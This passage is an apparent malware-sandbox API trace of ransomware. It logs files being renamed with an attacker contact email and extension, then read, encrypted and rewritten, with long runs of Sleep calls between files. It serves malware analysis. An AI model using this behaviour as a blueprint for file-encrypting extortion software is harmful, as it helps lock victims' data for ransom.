cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rage.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rage.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c13f97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAGE.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RAGETT~1.FIR")) returned 0x6d4e40 [0275.390] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0275.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAGE.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rage.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0275.391] GetProcessHeap () returned 0x630000 [0275.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x758da58 [0275.391] GetProcessHeap () returned 0x630000 [0275.391] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0275.392] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.392] ReadFile (in: hFile=0x674, lpBuffer=0x758da58, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x758da58*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 86 os_tid = 0x1278 [0067.705] Sleep (dwMilliseconds=0x1) [0067.823] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.427] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.722] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.754] Sleep (dwMilliseconds=0x1) [0076.780] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.840] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.060] Sleep (dwMilliseconds=0x1) [0078.092] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.450] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.563] Sleep (dwMilliseconds=0x1) [0078.611] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.752] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.884] Sleep (dwMilliseconds=0x1) [0078.896] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.955] Sleep (dwMilliseconds=0x1) [0078.980] Sleep (dwMilliseconds=0x1) [0079.001] Sleep (dwMilliseconds=0x1) [0079.033] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.605] Sleep (dwMilliseconds=0x1) [0079.609] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.640] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.674] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.888] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.235] Sleep (dwMilliseconds=0x1) [0080.263] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.341] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.707] Sleep (dwMilliseconds=0x1) [0080.719] Sleep (dwMilliseconds=0x1) [0080.769] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.843] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.554] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.836] Sleep (dwMilliseconds=0x1) [0081.845] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.297] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.585] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.327] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.087] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\588bce7c90097ed212\\UiInfo.xml", len=0x20 | out: pbstr=0x687ff7c*="C:\\588bce7c90097ed212\\UiInfo.xml") returned 1 [0093.087] GetProcessHeap () returned 0x630000 [0093.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x729f98, Size=0xac) returned 0x72a050 [0093.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0093.111] CloseHandle (hObject=0x678) returned 1 [0093.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.111] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.112] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.112] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d5580 [0093.112] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0093.113] GetProcessHeap () returned 0x630000 [0093.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9801) returned 0x70d3168 [0093.113] GetProcessHeap () returned 0x630000 [0093.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9801) returned 0x70dc978 [0093.114] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.114] ReadFile (in: hFile=0x678, lpBuffer=0x70d3168, nNumberOfBytesToRead=0x97e0, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d3168*, lpNumberOfBytesRead=0x687ff0c*=0x97e0, lpOverlapped=0x0) returned 1 [0098.791] GetProcessHeap () returned 0x630000 [0098.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0098.791] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.791] WriteFile (in: hFile=0x678, lpBuffer=0x70dc978*, nNumberOfBytesToWrite=0x97e0, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dc978*, lpNumberOfBytesWritten=0x687ff0c*=0x97e0, lpOverlapped=0x0) returned 1 [0098.791] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.791] WriteFile (in: hFile=0x678, lpBuffer=0x70e6157*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e6157*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.791] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.791] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.792] CloseHandle (hObject=0x678) returned 1 [0100.404] GetProcessHeap () returned 0x630000 [0100.404] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dc978 | out: hHeap=0x630000) returned 1 [0100.404] GetProcessHeap () returned 0x630000 [0100.404] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d3168 | out: hHeap=0x630000) returned 1 [0100.406] GetProcessHeap () returned 0x630000 [0100.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.406] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x1cc22a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9816, dwReserved0=0x9a87496, dwReserved1=0x70d3160, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d4f80 [0100.406] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0100.406] Sleep (dwMilliseconds=0x1) [0101.387] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Boot\\Fonts\\segoen_slboot.ttf", len=0x1f | out: pbstr=0x687ff7c*="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 1 [0101.387] GetProcessHeap () returned 0x630000 [0101.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefde8, Size=0x3c) returned 0x6feff08 [0101.387] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.333] Sleep (dwMilliseconds=0x1) [0102.354] Sleep (dwMilliseconds=0x1) [0102.378] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.504] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.538] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.569] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.632] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.807] Sleep (dwMilliseconds=0x1) [0102.817] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.899] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0102.942] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.973] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.004] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.238] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.294] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.322] Sleep (dwMilliseconds=0x1) [0103.365] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.433] Sleep (dwMilliseconds=0x1) [0103.449] Sleep (dwMilliseconds=0x1) [0103.466] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.542] Sleep (dwMilliseconds=0x1) [0103.560] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", len=0x38 | out: pbstr=0x687ff7c*="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 1 [0103.560] GetProcessHeap () returned 0x630000 [0103.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0xc) returned 0x6b1250 [0103.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0103.562] CloseHandle (hObject=0x4d4) returned 1 [0103.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.562] MoveFileW 